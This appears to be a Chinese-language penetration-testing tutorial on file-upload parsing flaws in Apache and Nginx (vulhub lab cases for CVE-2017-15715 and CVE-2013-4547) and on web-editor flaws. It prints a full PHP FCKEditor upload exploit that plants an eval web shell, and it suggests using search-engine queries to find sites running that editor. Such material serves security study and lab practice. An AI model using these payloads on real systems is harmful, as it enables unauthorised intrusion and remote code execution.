神出鬼没的Enderman

WEB漏洞-文件上传之解析漏洞编辑器安全

先判断中间件，是否有解析漏洞，字典扫描拿到上传点，或者会员中心，有可能存在文件上传的地方，而后测试绕过/验证，根据实际情况判断是白名单、黑名单还是内容其他的绕过，绕过/验证和中间件的解析漏洞也不行的话就看看CMS是否存在漏洞，然后看看编辑器漏洞有无以及其他漏洞如CVE漏洞

IIS,Apache,Nginx

Apache

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充，将Perl/Python等解释器编译到服务器中。Apache HTTP Server（简称Apache）是Apache软件基金会的一个开放源码的网页服务器，可以在大多数计算机操作系统中运行，由于其多平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展，将Perl/Python等解释器编译到服务器中。Apache源于NCSAhttpd服务器，经过多次修改，成为世界上最流行的Web服务器软件之一。

IIS

IIS(Internet Information Services) 是一个支持HTTP和FTP发布服务的Web服务器。它是由微软开发的web服务器，需要收费，主要用来跑asp.net,asp,php，只能在windows下运行

Nginx

Nginx是lgor Sysoev为俄罗斯访问量第二的rambler.ru站点设计开发的。从2004年发布至今，凭借开源的力量，已经接近成熟与完善。Nginx功能丰富，可作为HTTP服务器，也可作为反向代理服务器，邮件服务器。支持FastCGI、SSL、Virtual Host、URL Rewrite、Gzip等功能。并且支持很多第三方的模块扩展。目前apache和nginx好像还没有看到像IIS一样的可视化配置。在windows和linux上，apache和nginx 都是以编辑配置文件的形式来配置。

各个 WEB 编辑器安全讲解

网站后台里面有操作添加文字等类似功能的时候，有些网站会套用第三方的编辑器去对文章、图片、音频等进行相关处理。如果一个网站里面有编辑器的话，那么这个编辑器是什么类型，有没有漏洞，也会成为我们利用的条件,一些网站也可通过扫描获得编辑器信息，在其它地方不能突破时可以利用编辑器的漏洞进行getsell，可以在网上搜索相关编辑器漏洞利用即可。大部分的编辑器漏洞都是文件上传漏洞

编辑器漏洞手册

• https://navisec.it/

有的网站中可能嵌入第三方web编辑软件比如：fckeditor、ewebeditor、ckeditor、kineditor等。一些网站也可通过扫描获得编辑器信息，在其它地方不能突破时可以利用编辑器的漏洞进行getsell，可以在网上搜索相关编辑器漏洞利用即可

资源

• phpStudy2013B_jb51.rar

演示案例

Apache HTTPD 换行解析漏洞（CVE-2017-15715）

• https://vulhub.org/#/environments/httpd/CVE-2017-15715/

burp抓包查看结果

直接上传会失败

在请求报文中可以控制文件名,在文件名末尾中加入\x0A后再上传

上传成功后访问

Apache 解析漏洞-低版本

• 在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器中若此文件.yyy后缀不被解析,则依次向前解析,成功为止
• 如果服务器中间件apache为较低版本的话,我们利用文件上传,上传一个不被识别的文件后缀,利用解漏洞规则成功解析该文件,文件中的后门代码就会被触发

准备两个后门文件,一个正常php后缀,一个php.xxx后缀

Nginx 解析漏洞

• https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

上传一个图片马

访问该图片马,并且拼接/.php

Nginx 文件名逻辑漏洞（CVE-2013-4547）

• https://vulhub.org/#/environments/nginx/CVE-2013-4547/

上传一个图片马,在文件名中需要有一个空格

访问该地址为http://192.168.50.10:8080/uploadfiles/phpinfo.gif[0x20][0x00].php,访问地址是http://192.168.50.10:8080/uploadfiles/phpinfo.gif...php需要通过抓包去修改为特定的字符

几种常见 WEB 编辑器简要演示

Fckeditor exp 利用

EXP源码,将该源码使用php命令运行

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

inurl进行搜索，搜出来使用该编译器的网站

ueditor 漏洞利用

• https://zhuanlan.zhihu.com/p/85265552